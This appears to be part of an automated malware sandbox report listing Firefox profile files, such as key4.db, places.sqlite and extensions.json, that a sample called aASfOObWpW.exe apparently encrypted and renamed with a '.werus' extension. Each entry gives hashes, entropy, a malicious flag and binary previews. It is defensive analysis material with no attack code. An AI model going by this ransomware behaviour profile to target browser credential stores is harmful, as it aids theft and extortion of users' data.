Preview:	.:.5.@FA.&.<..b../.+[V.}.J.l%.m.~.t.)C.y.'....ZcOS.d...S.+.\|7.D...k ...Lon.....^.v... .1W9i.z.r..Ew.2.....N.~_.z<..a..?.X..t..)`_.l..%.:...V.%...Kz.\.:..T^.oTag...[...i=.3..+$5....C...<>+.4J..(6ok..3.f....Lq.....M......X..C.tB....].,..& .a.s.QY..`..?.R...c..).>.v.V8.0..A.... .m.. ...G3..w&L.A.'y.U.k..`Z..k3...1.j....;!.e...+.E.t...S.C.@.hU..W ..j.....g.)..d-.........X.#.{...>~7.l.i...Y:...O.=.6u.1......s~.%....w.@.\|....9..U..oAV....Y.F....".(g.kQ.1...F......a.?...lX...M*..9PY..:."=.US...{V....#.vLJ..w..

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\glean\pending_pings\43bb9a55-74a2-452e-8233-6899a7f737b0.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1680
Entropy (8bit):	7.8890457999725365
Encrypted:	false
SSDEEP:	24:DS5il+dPzzR+E27+5d7dHjL3uj+CquBF7meEW2thYzv5yzTvv0J/fkqO9Jc:u5il+drv1jqjRvAe/4hYa2kqL
MD5:	792193278B6E6CF8B0E73D14A6062D17
SHA1:	C06E76F159FCD41DF5987ABF54EFD9503EB6450E
SHA-256:	FB84AF5B94C6C74AFF3A43FEC9B86875D22B88227F1A75454C3A9F3B54AE6A53
SHA-512:	7F7F10980A8500574F774AE4E9EEAF66D9C323E40E5CE474B4A4FAF6F7D5DA065EA3E501E207C11E9125D6738998E7E2F19E942C08E6BCA764AC02E58C6F33CD
Malicious:	true
Preview:	-..<.+#S.J.3hyk1.....G..z..iYOW..,..........^..\..\|4.s...(...a:.2.g,..NM...#.......0....(...[..[..!.z.....I..Vc..?...M.n(....Hxvz...Ke..v..l\|.n.`a.....;...h.k...T......AE........]Q.;.....E4$.H.t..@..Gg..0V..N... .G....Z4........^R.....W.'...?...m........N#..ZD.G....Q.PP).....t...n.\|..<K.R.kX{.A.l.m;.q....$z8w.A....!=..........\....P..z..8].)..\........(..;e.)O.........TW.`.!vV......5in.rr.Yr^a....(._H..q9%.#.U...tx.c........j.a@F.....M/6)iDT+.-6hPZ.p.K+..=......D0pGKT...1...sY.o...:........3e.H.z:.....T.............S.!.G...f].....A..sgnH.X<].I.......nR.....mK.7.m...xW.rc.KFl.{.t3v7...?X......P.O.I...0.H.J$.[..Y...L.i..y..wP....c...&..k.:....L..5..W.j....a.p..V.n..R...+...W..9.........Qi!....c.c4...i../......!..< .\..........pu#.....z.[.........g{.1T.In.7..p\..^.M..e.F...H.`*.v.<5...3KpF.jR..h.....\..tGa.$T.j<.=F.cl....dq..r...b..4.MP.Sf..#'..<...t~.`...e..!.8...}}[. ..../.......]...do8..0.EGc;y.......M..0O...'...[.w4#..cG....

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\glean\pending_pings\7755ad51-2370-4623-9d21-15c89f2143db.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1328
Entropy (8bit):	7.844346689260736
Encrypted:	false
SSDEEP:	24:i9mImyZYde6P66UUaNKauvv7qwIjGDRdF4VGQZZQfMgqE0gHnze+OiSv4sm6tXoW:i9mIZY9iyyCEj8d+VGCZQfMgqwHQbht3
MD5:	38BE9019B61BB371C001971D30148102
SHA1:	581DF750B0517D3CFCCEA6BD5FFE52CEA2C09B20
SHA-256:	0B3A093F6A6309E64D614D56B017BA46FB54E220F3B89F7023FDB801984EDF70
SHA-512:	FFCCC6AEED5BC791B6C35D3CA4A0C147AE30E932BFCEE79139A4F6FF2C6081F594F5BBF1624690D194FED53AC216861D2DA1B1A89D123DB0DFFA6CBC9B068A09
Malicious:	true
Preview:	-..<.+#S.J.3hyk1........6.8..........;..[}w......G..7!v.t.:4..$.g......~ -.Z.M..]...>W.W.7...&".W$.T.C....#..F...f.<.s]X.;..jg<U -...I..?.&..qQU.0.....h224.7:....b.. 1..H..."..-...k..;g.6q.g..@....:.B..O..\|.._.....9U..@.D7...}........:.WP.@~<..X...;...t........... X.C...@k..._.Izrr...Y_.z..:.T^.J.I...9../.D...a.~.98....0.......6.%..^.Q..FVm.NB?...../$.@"q............H.$..~...G......h.0f.6a.....i"+.zP.g...<4X...bi.!...p....RxyF.k.1:.{...ng_.'.<...VE...44s.~......U...Y...$xO`^...nZ...ep)F.L..>.........f..X'o.~0-I..JA.X...,Fk(p.Y..Y...&.?..;.rBab.-=5F#..U..c...O%..@.U7kj@-h:.Fq[..P....bTM`...]...&..W.......:.[.F.[.a./....I\50....@lK..IL!b?[./)B.x.?...$....o....5....w.W..x.ep ).....}r..U.qfv..q..c....O.w.b%S.{.w.iV0.....\......0.h...e.V.$XJ.x`....}.3&.ED.Oy.&.a.n......wi..........>......[p.Z...>......^.B..V@.m^.6HW.43..".j..<....Iz+F...:&X.+9.w.=>x.H.f.S.O...a.N..h..}F..-Sf..e..p.b}#..>....g...ip.wW...!ez}U...Z.D~..........R..pv.S.....

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\glean\pending_pings\ae04dde8-69a1-49f8-95f1-d533ed587ff6.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1328
Entropy (8bit):	7.853286582528115
Encrypted:	false
SSDEEP:	24:i9uKZXgqhHvroOQmryHdRA/mL6ah4VZOJIEwpFh24NCnR:i9Z5oOQFHdRA/A6ah4jOJIEwpFh7CR
MD5:	2C5DDC415B5FBBCB4B2EE8E36EF51731
SHA1:	887C695CCD26C8EC837FFEF9B28CABCF88683FB4
SHA-256:	4DB494821F0315223E9662139DE011F4CA91D0ADE551D446632F435E1666442D
SHA-512:	1B1F35EF17C663CD5851590F7EB4FC375902E5FDCACE9F591B9ED3547B7DAEEDF8E9D1B7F75D1FD2EE63A3DB73DFC186DB0C54B106AAD4D0FDBFEA1DE4AE2308
Malicious:	true
Preview:	-..<.+#S.J.3hyk1........6.8....{N.....jHYR}...\|.d.......b..u.3T,sm.w.a....N.;0.....S..fr.....M.T."...$D.k.....(...9p.VS...NZ\M...:.D.cC.....R...Q..g.......q"p....B}..F...B...jV.i...&F.........5..2RGiU....@.j..}{`.\....Gb..ue.w..f.%.....b\a....(7.......?.R...sc.a....}.[\r.VJ...-.&.>..@4_.9.../..@P..`w.s....xI.....s...=..s._/O5.......I...y...</.R..$............M(........e.."S.p..e.:1....E.Z...#7_8....U.<.....S8..eS.?..x..../q/a..1..VCk`.(.C.(..`FVsh........d.U.....w.6S.....l.Vf.;>.......Cl.Ne.....L.T.....e.....-B.\|}....mO....ft...Hc...).e..gc....\$.7].b%..<........\|..k....!...r..?...gW%.D.7.8n,.Z...l.....34 .G...H.....4\.eQ.ev....).gyU)..@..qYR.i.Ir..r.^D-...........cr.Mk.q.?....J....^...'..7.........c..Ig.;.w....8mE=.....x..p-..h....Wf....g.....d..p..f.N....mH.5.".X.G..9.d.e.ST.C....MMN......T.m....V......Q.k.CYg.<.H.....e.\9}.......8%..[.f.S..;g..{.....dX.~./...(..".........<...l.....F.)r...0.....@*.D.\|?.~^....a..O\F.."]7...3

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\glean\pending_pings\b8f053a5-de16-4a2c-8120-1ab4aadd63e8.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	3584
Entropy (8bit):	7.944505875690957
Encrypted:	false
SSDEEP:	96:con64PSenunak+21UeuYxj8sLKl31qrWfQU80D:cveSeneZ+21y2j8s4LQk
MD5:	DDF7EE73D83F6B2AE3223AD2CE8D4329
SHA1:	AAC640DBE28ABCBDB0308312903BD81B39F39E4C
SHA-256:	75CC5E6BCD8E2186FF5DB02BFFD80B05DFEEC781A4DCEDFA71E089F5303EA0E7
SHA-512:	39C2BAD14861CDA04125C0C0571DED4893A9CF107B0BC96821838A0D6F5C6C800390B7ED61A88828E1D0B969D2A16D1AC9FF694C3BB5C58440ED855F2830D7F6
Malicious:	true
Preview:	-..<.+#S.J.3hyk1.....G..z..iYOW...e...9XloC..3.7..c...y..F`...d....>.~... _2.......c..#.<$......t'...;.".BX....TF..\|... .m.p.....3...$...O.T...\7-..v.......h.\...S1.r.x.&....v......r....,&...-6#.f.5kW...G.....`i..\H..9.<3".....p3..d.1.J.v.5U.Dn..*Z..d........D.v......&cYq4sy..!.F,..$..OC............%....[....yA.f..'.jC..Jm.m.X...8..6.u.....$.l...>ko'f=...1'2....9.......}....Y8..80U.b..T..}N..m..G...?.!.$..C5SB...g...aQ.Jy.....4......,[..n+=.....RGjX.....w.MM.H...Q...m.'.........Sm.U.B...".kR7..?-)..?..6...2>W..R..[.0.._.......[.Fh....2...i.L..q.h......UszX......d......y=...[..S.............Xc..3 eS.rV....RX...c".@..{hX.K.K7.V.....o=.Xe./X.Z...j5."j.qF;...0.T..)..U.j..,.j......ni.D\.s?nD....h.b....G.8..:. \|Ot.nx.W.%.Y....A.!.x.2.">...J.`.SiJ8.t..y.6[K.....1...l...%.2..]...g....[..g.w.7i,..E,.9..L";d....S..........K..8.>4.k7t.Q....xf~....,.../...?=..M...m>......0.,2.9cQ8.......\|.......Dy.....p..f.... .S.!8..O..h-..B4.Z...OT........>.3.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\session-state.json.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	176
Entropy (8bit):	6.8327056952066325
Encrypted:	false
SSDEEP:	3:zgSlrVvyGCUhZ13iAsPriNpQX78CUPSu6MqQeSk57psLrNJc03F:zxlrV6GCUhHiBrM5XOpsVS03F
MD5:	7B6CC657A882D74D40C096479262F5C3
SHA1:	32EC2824022DE0DBBECEF69A2AC82D23904D3D25
SHA-256:	BAD5B3C55C1D02106EACDA9E43AA4D70B51C1BE057E11C0DD4357B45BB5C668A
SHA-512:	024B50FE966ADAB3F7A03D04116EB2A2A319341243F09B509676B80095CBD3684A0CA96A2C4FC5AFADF61BE60A01FDAC75B953A44B154080B7A975427FFB7B09
Malicious:	true
Preview:	..8.SO..v.?..J.7..>.....]Z.=........c.!.G.. .!...(..q.].5.8@.......hY......).-.. G....v.O}..J.B+...u....(.v6..+oQ.g.........l.r=..L.......B2..t.,-H.D...V....-h....J.. ..

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\state.json.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	5.558364648336088
Encrypted:	false
SSDEEP:	3:HwqqKhMAiQlKlsXfZ:9DhMAIwx
MD5:	72A3F2617A0C031E8CF2D57243B26F4D
SHA1:	389079F8341E22F7837AFB38303BC30C4F636964
SHA-256:	8D35382F6A5477653C90A149AA10E870D3B1E2E0DBC09CC53F9DC6DFC69495E4
SHA-512:	C10D8BFA02C4883D60E25B3F746F80DD166D93B7DFF8E9FBDAB9057EE59CE9CB62A793C15E76E8000A2B68C6E4FFB790FD42B1D313B9DBBA43F10BCA98EC82FF
Malicious:	true
Preview:	...."..._.*..kv...t......)X?..&9...H..a...$>`.@..`u@........

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\extension-preferences.json.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1104
Entropy (8bit):	7.849985156195688
Encrypted:	false
SSDEEP:	24:zKxxjhG5PKY2trxn8MqsZ7O1JF7JDtHmR9qVNp5my70TEvn:zWxjU5IRZ61jbGeVdm6/
MD5:	3B6A331A88FE1EC23F3B7F8832F49DBD
SHA1:	DA95CF487EF8C9CA7326C4ACA26A244901A2F6F9
SHA-256:	847A71C4ACF5DA997621ABBD6D022943C2581B3B11E9FD6CCC8D7D7EF9847DE0
SHA-512:	786F75C71861D84F0607361BAF76C6760A8B65BE992AE9F1267461EC99E5063DE5F06E21BA8001F8D5351AA6BE58F3689B7294BE4216CDDD92537FFADC4BB8E0
Malicious:	true
Preview:	..4.G%.g.x..1...dg....U..-..^X.k....'.......-.i~.[..].\H.P.{YU..)....(\..&5n.\|.1 ...J\|h.hj.q{.rq...2T@....M.h....Y../..x.CR.6={+.........C......=..8..yB.h..E.#..d.L......L.J}.=..>.f.k.7;b...\|.O...4..0.../.q..:..4..G.@.\M.-.Qu.%.....3.-D.P).d..+ ..........7[pF....Rl%5.}...b...........o..^kS..wt...\Y..s....H.O.$4&.....Mb.{...S).5>.9).}(j. .L.....,P..C....]>\|_....4.[X..ZdPF[...(..g..k.He;.....A%!e..+..u}l. ....`..,nr..>.....A....Gd]...V_..a.....`k...K....g9..5..<o....>e4..T..Jr.(.np....1...b.......v...KX.m.8.}%F]?..T..Svk./.H.."g%...l......b. .O0...~...s.o.......n.d.RE.........Y..v..{6.?.'.......!.5.:[..].ft.T6...$...>.eR.. ....".R..p.q...h9....=..W..m...x_1..l..G..MA8...#.@.j.{.~.W4%....i...G...}8..\|.Q........^.....SS..=V.U.?".%pP=T...H..g..f.3.....0.O...w.d;f...].W_h..H.D.M.+...u.Zz..@.N.!.....P...}~;........=u.-.-$I.y$Nn..Rt..5...I....]\|...P`..... \|TSf......m......I............ ..].VG4.$.....7........)..3.........S{KY...5.K..b.'B.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\extensions.json.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	36832
Entropy (8bit):	7.995946171624183
Encrypted:	true
SSDEEP:	768:2Hyc+dr0GByZ+5Gtp3TnIt37qnibWqGGwgzrUE/a+RnHPQFfSZX5RPXtYa:Sj+dr0LrtpTIFvBvf/PHoly5FXtYa
MD5:	AAF56C0731E90F26BF4C99E24E98D7CE
SHA1:	1A9A46A73A87B9C5D2902B8005CB7C3A8E4A3C64
SHA-256:	04355E089FA34959A93DBF495655ADCC83F6FE2DC9228C48569859808B315C94
SHA-512:	AF618EDAEF5ACCE8370D445B474D720298D2E931574E9A64D07B1C4340E0BA6312D3BB3A13F83A320B8506B2D02C440AF510886187D21CDABBF289A5DADCC17F
Malicious:	true
Preview:	....U0o.A..9.K.........!...>...?.6..Q....iCa...>..6xF.....E..9.R...v.o.=t..k..c.L..11U....$..B....I\i.p..n.._H..."...z.^......&..e...@.......57.l..y.x.HvN........=.rQ.....~..l..Foo62..]`...P....GB6Z..~.uZ.47u,.....g.....BU..Gx...1..%Ef.g....d[....P...!a.....6.W!..\.'..yE.>j3.^.Ne..b.3..3)cy...............o..O.J'!c..{. ..L6...(.BZ{..#...y4&.....c.Vo7.X.]...1f........_]..<or.4.bzW2-8..6.........c...CiS...O..E./....]..7..1..1T....wr....X..F.5.i.{...K..@..L.T=_2..[....b.[...@.....U.9!\v.E4.L.&r.-.C..Y.....-^e.g.X..hV..>.p!..f0...y....p...`......_Vd.S.......y..&...@.k\|].T....q...Xa..../`}o..$VD..`@...!WR.GD..3>..p.T.dx-.5M..\|M.^.`....>...r......^&g..M..p..vJ.a.....GZ7.}.J....\|......8..*Bc..H....R..U.oqY?.#.t.......r..0zk..G....4..6..q.....;..q...I..\|o.y..'.%.....1...0....D...g.;f.%Ui..).72...iN)^..#....!.%........o.....r'.r......@....cT....F...c..mC<......4.......&c:.....-..f.c.g.U..JNa.YY....$..bt......7.f..].lT>".t..a..R.t.K......O.25.).u.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\favicons.sqlite-shm.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	DOS executable (COM)
Category:	dropped
Size (bytes):	32784
Entropy (8bit):	7.994194258059233
Encrypted:	true
SSDEEP:	768:rj0gqKyzqbf3fiRTLtE0XtKZUW3CXmm25nNydA+zkLk8I:rYZzw3gvtE0X8GjXmm2t+4I
MD5:	BF6E71222683F9A6E5EE15506478C680
SHA1:	FC0FC4B4A8619E684B68818BDFB621CADEF66DD5
SHA-256:	8A3ADB95F980DBFD77605E37EFC8F30D67F90B99F1ABFB5F2F3FC44D2CBA9DFB
SHA-512:	C3EC8794D3B3830B3033324E0760F33EB298A6A1B2494465B3EF3C990E7E8638995EA97247B6A72B35F8333661198BA9F52EF314B8DDEA6F7F3F767A76A4813A
Malicious:	true
Preview:	....".....C.h.C)@.)v.-...Y...s..uG.......8.$.8.....G.M".D...._......m.....Xz.B._G.....{.K.s!X_3./.+..H.(.~N)."....RW.J'..`....yUv@V."6...#.U{'....u.....9.%..&/v.4u...Q+..O.t..~.?tm.1.....p.D.1lm..~@.......UUV`%.1Fz..p..vg...y.vs..BX\...-w<'..B-..3.Q..../...!..F...M..BC..\d!.+...a.}..Te.........}~P...t}\...'..v~..{..~.I...6....}....'4...X..S.]....v...R.h..K..}.K.Geq...0F@..YZ.f'....G+...a.;......Sj.0...3=z...I.n8..^..J'..N.kZ.8..9..../8m...m........g.lq.qk.>...=..5m0.[...X\~...Z.[5A.h..9........`_..!U....>..u..p......;..H..L.&M k.s3...e......oL..A...~p...W...i..J..H.,..[....S.U;.:....I.'I6.......o.-..'..iUd\&...o.L.`C.......f...yv.R.c<.. ....qs.n..d[DeU...,....+F..r...5]0.sFv..<."^$ZOts.7.....[..D.{.R/....... ...Q.A..s..+)..S...bmZ.......I....F.<..B.4<o.j...{4....A.......8.....i...4Y/..z1...&8...eS6]..p. .aRg.b.3.p..r.......8e].=...1..aaX#....F.-....gb3.Z.....4.?-..B.z ......&..].$~.WsiS..O.........J...L.V.].-0..-....Re.........=

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\favicons.sqlite-wal.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	16
Entropy (8bit):	4.0
Encrypted:	false
SSDEEP:	3:Ze7oTPr:Ze7u
MD5:	81824B4AEC9F6B0BE6FCB7F5B0DF0A96
SHA1:	FB3F9AC4E729CB04B9D0B9E403CB36B956989E26
SHA-256:	50A3A28BC237269F33D8695BEE16D6E2E62042D1AF549E743E6AD771E7AC3798
SHA-512:	E5F23360D1F4B7C23D0C2FE5C8B4ACFC1E600C9724B99CCFFACB7AC8B3E0758DB98CE3F15E6CB20134EB66FF4948F2803506DB855DB22D020042C9DC2FAA784A
Malicious:	true
Preview:	.......u...Q..N

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\favicons.sqlite.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	5242896
Entropy (8bit):	7.999964900645884
Encrypted:	true
SSDEEP:	98304:jOuc9ci0eJbOBKADBYxf64bei5ZB78+Wyo/jl5X2lCYocX3:yuc9ciXJbO0qCxfN5cjTGlDocn
MD5:	F118C2442E0DE1EED277BD418AD1D38A
SHA1:	177CF2D6E8BB2765A55A612520D16EA59D6D7715
SHA-256:	5D7DCA674070B7C4F5E8CD4EE6BEEAD46AACB76EB29661FD5968A2EF6D7DC907
SHA-512:	1270C548606EE80EB2C91F9DBC8347CE73E3B1B51FF416CD5B308C8CACB0B522434024BD91F4A359099250165ACF57DC31634340176968D31666FEF9175E988C
Malicious:	true
Preview:	...-n.fF...wG...%...'...q.HA..5k.m..<..Updl.........N.,N=.U....?..[R...Gh..]..Q.^!5.-#6......3..5o.8./....0e<.V.V>_.."..F+..H..l.0.o;.g5.h. $.wI\|!....g".x...Q....f.4S.........B~.7&<i.lp+....]1..7.q.....H.!.4M~.!..0fLl..........w.9y....5y.e.y.'........X..b........S>."....~p..n...@.....3...}<...KMz9..z._.t.K.M.......!....m.d....N+b^.?.Q."..6l&.'d.....T...\|(C.%$(.Sp.T.Q...0.;Z.n......g4...5.WzV..G......E...K...m.ZK......u...V...a.p....c"..H.0..k.UugE..2a.`...2.).C.ZWr....`.{.t.hc)...(.@*O..J.ei.O".\|n&=Fw...Kw...qh....!.S.lv..e..`.v...o..1o.^NI.^...QGQd...E.......T.....~...i.[.^%...Wd.....`...p......../a).U.%.A..J,_..$g.6p.v...$.A..)..r.bg....t.SA.. ...S+..:...<w"..v..;`.7.Vl....8 {.\.......oB.F.R.X".T9cs.s^6...t....Ha.....".).r..ae.<.e.a..0.i..<.`Y..5..t.4. ...s..#h..._y~g+I.k..@..\......_J...j...B..!g$2.%..8.K.....J..].:.C.e.S.....g.8.X....$._6....}1XV.......-...h5..g.....hcc.p..Lp.=.@5...7.N_........9j..)..#.SY.......h..Rd.#b..1.'

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\handlers.json.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	384
Entropy (8bit):	7.445341375784631
Encrypted:	false
SSDEEP:	6:YkHdG66U2BvN/Jgc84pWhw39rlvLFDC47KDbIA91ic5aoqWM+V42vSxUjtdEoc9:ldG66LvNn84pWm3DT847KnIk0DoqWwUy
MD5:	E67D262D1BC3B35DE83FEB95B0A69484
SHA1:	E984460B17494653E723C19ED79F508092B558A4
SHA-256:	FEADEB02EF94BD2DB1EBCED18AC61E7D07D20BEC0A20B59B2BD0FCD9886FC4B0
SHA-512:	7ABB1ECCE4B0F0034EE1BFC9EAB6C8CC86376D4D13E1DCF1B6FA62158C5DC28FBB965119CE842F42FD2C1666E755F7F198EA4B6285F37F6CD023960B1214D9B4
Malicious:	true
Preview:	2B.[..I.............mf....g...N.%&.P....e..J!S.}0..VB.)..RX>.z.y..d...WO..r."._%...>H?.....1db[~..5..........&.ox.0...]..\|}...F.N................7#..N.ZT.....8.....w.*..`.".?.......w...E.#.>..._J... .&5........!o..st. X.zjq..@gh;=..5.........@.U.t.9.b...,....<Y....t.....tE.......m.............L~@..8B.!.m.5.P.@.M..4}&.)...{.b!_Tz...IIq.......F._..].M....Q.Q.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	294928
Entropy (8bit):	7.999401910123623
Encrypted:	true
SSDEEP:	6144:IzQMptPNUwmcoWAIv4Q0WUjeHZmXpaIsb/ufEo85Dxa4y:sxUwNBV4Q0WC2bItmi4y
MD5:	820ABE58C3CE33212181DAFA692617C3
SHA1:	3B8BFA878EECAC214ABDC6A55018E8BC53181969
SHA-256:	9FB048B3966EE52D3EAB19D82BA51F4A9BC73602820D01B633B3E20E5D86C6A4
SHA-512:	5426F12C3E5CAD666C542763AA12F6E5DA22B8C9F7FE8874E3CF41B1A7F0A7665F46F54369E23776292AB3312E974850934373FC3EF98787A83CB8EBCE2B9F81
Malicious:	true
Preview:	...-n.fF...wG....3..#[...8.s.?.,6.w..=:.....V_..Qkd.$mF.I].sj.U.@.n..3....Z..Z..&..2.o.T+N....../X.&`.1.....~.O}.wF....9.P[y..@.F.....t....}...O.dU.f.1..!.^.b.G.(.m..A...3.;........._.7.r........W.......V.9..I.uT....p...1Sa.0.R.PQ[.'.d..`?..JW&.va.=b~....d..1..iO.,..H.f..i.Q.........A...\|.....4..^O$.g.+.6.T.......z.....T.A.t..7..p#..-g.3n(...y.Y..3.. .jH.A..;.....z...].n..+..U.^.}.A'w...g.Ba.&.u...hL.j\.......(.N.R_.2...F.84....9.1....R.)..4%n....vH..J....'U....F.:%...LFJv.o.0\|.:xz.@Y$.`.z4.xL.7..i..2..l..(..r..../...h.Bi.[..;.p.%..3...J/..v..')........U.&S/.._+..../w2}%.8.P`.!?%?...2....,h.O.f..).5.....U..rY.."../...... \)...._...N.....c.Bh.....zu..-9..\|.d....A7.....Cm-~f.81.i...T`...=S...5d.W0.../..t.....<i..%.._.o.u...-.V.&(...~,.v..E.).M.}..>o(.0.H#..."sj..d...V.../....A.>.v..\|vK.>...1.O.. ;.Db....'/..,..l.&..)\#P.a{w..N>...*8K0D. .\|..\u.`!.H.utf.T.y.i..p.....J>.[.V..V....!..m.2pe..[.!.c.'..[.%.U.d..!o.`y......{..O....u.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\parent.lock.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	16
Entropy (8bit):	4.0
Encrypted:	false
SSDEEP:	3:Ze7oTPr:Ze7u
MD5:	81824B4AEC9F6B0BE6FCB7F5B0DF0A96
SHA1:	FB3F9AC4E729CB04B9D0B9E403CB36B956989E26
SHA-256:	50A3A28BC237269F33D8695BEE16D6E2E62042D1AF549E743E6AD771E7AC3798
SHA-512:	E5F23360D1F4B7C23D0C2FE5C8B4ACFC1E600C9724B99CCFFACB7AC8B3E0758DB98CE3F15E6CB20134EB66FF4948F2803506DB855DB22D020042C9DC2FAA784A
Malicious:	true
Preview:	.......u...Q..N

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\permissions.sqlite.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	98320
Entropy (8bit):	7.997961546104608
Encrypted:	true
SSDEEP:	1536:avPe/thg1BRS6UFtSt5XcjKMe/7xUkzA/RjPYgwIAp3Q0wAomw93BQ2WQ:a+//g3ILueK77pM/RjPYgwJp1omwbQJQ
MD5:	8341A0D39885D80C79EF049A54E629A1
SHA1:	F3A16190C6AFF9CE314A91CD2EDE20AE6E00D7E1
SHA-256:	8BBD325CDD5FF7C8EFFCB88646760F0B14DD356A2D032E161132EC9FD4ED9C0D
SHA-512:	62514606FAF7448366427785422063049C6E54A161C97068DB78A7B658FF70C118E82D7DD1B5183C75B498311F0BAD46302D4C4A71154F70BC68427FF1054EB8
Malicious:	true
Preview:	...-n.fF...wG...._w...D..d$.$....p..k.y.......V...a..UL.....c.q..i.......,.J.sC.......l.L3.HG..6Fy...O.....X.........K.A.G....=..B..R.J........l.w....k..k...e.].....`.k>.iSJ.:.....] ..d....Y...K\...D.z.~A.d..f%ua..'z.....{D.....OB{...F..\|.$.I...r.e.......'XT..!../@..)T..{..R#...........`.....R.x ....$q.8.......].`7M@0.Q....(...].&?.x.{..!.......cMs.a.&......B....<+.T.Zs'&&RP....z..i......J.....H...^.k...D ....9Jh@..=S.?.0U.Y.X.......v...:.}'3G...O...G$....(.&..L;f......i_....0.M9.......,.y$\.p.^.U.q...\|"eq.Y.....s...m{g...s..ZD..3...3v....`.Qt.Z%...@...%..d.....).?..:.........z.......w.d..N.....,Qh-........{5..(Jy.:ZKr.@...{..... ........+..>........`..7...b..pg..I..K."].....E..v.D&.5....-.......S....7...a...c..Yd.w.....{.?..,gJ.4...I.......o....S.jr].B'e.!.9{...p.`,.....h ..^.h..O.P....a..F.N... .\|.B..$.._..d.M...UT....s1.....OP....ZPk..;.;..<.,.Y...-..1..{..4_..(\{.o.Bu.BM!.Hc.@."......=.c.5.!U8J.JX.S...9.=..l3

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\pkcs11.txt.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	528
Entropy (8bit):	7.5610984662978495
Encrypted:	false
SSDEEP:	12:UlB8LXzlB7cYvQJdCF39GiljngYJIJaG9Dk1j1bMdRLb:UlgzlB7cEQvG39GGgzQqI91QdF
MD5:	80F1AB8217BAA20D6A1904CA4CF8DF19
SHA1:	70576ABE32D427699215F8088E420C1E4A10EAD9
SHA-256:	4994379205B28937A26F209DF1BC3495652D0DE09D4039DE99789A9428DDD15E
SHA-512:	11AC5B9356B996E74E83F205C4674007409F5BC8E381603F46F0C18FAA0A475EB68087582499A00836AC91E2DBF6AF02D5B51B8835DB0E3D8ABF57E50317B065
Malicious:	true
Preview:	.....P.0.5.?i.9..9..o..\..V.\|...v.q....G.Mt.:0...T`M..pnGE..F.Xn ....j=..SC.+?-......I.....H......k../..y....&.l.a..j:.I^..s....r...Xa.~..\|...u....K..D..2..4.\|..`..X5..7..I1U...&....7x.u.r....%U....F+".Ij.h.a;#..2..FC#.0.'Q.;..,.`.VV.?s.gk.=.....^...-nc.S.K....!.;cU>...W.......*P.1....k......p.l..Kn....b..:.n..l.`.i..a.?.i:.R.b..4..yR?.....W."0..e7B..ZU..oX..-..._~..XE..L......e..$&...~.I+]Q..]^.[0..xu.....z.NL.B.'U.....n..z...#..V..........?Dg.I`.....W...R.B4"o...:.....@xI>..)...t/..1.s%...D.Yqw..

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	32784
Entropy (8bit):	7.995498438068387
Encrypted:	true
SSDEEP:	768:hpk8AT2T5LYTmCdMyrwEK4SImj0ABe5pu+NDAJ03e:hb+218Tm25XOIm9BCpucm0O
MD5:	D996B459BA922FDDD5FD41183DB66FCD
SHA1:	33D4F1BE3D379FB3FFD056FEAEE7200468E8A35C
SHA-256:	8FB37270FC9A93DB80B18A77425CC42270F2BB56A79B8B93F7E3DE1C18465B1D
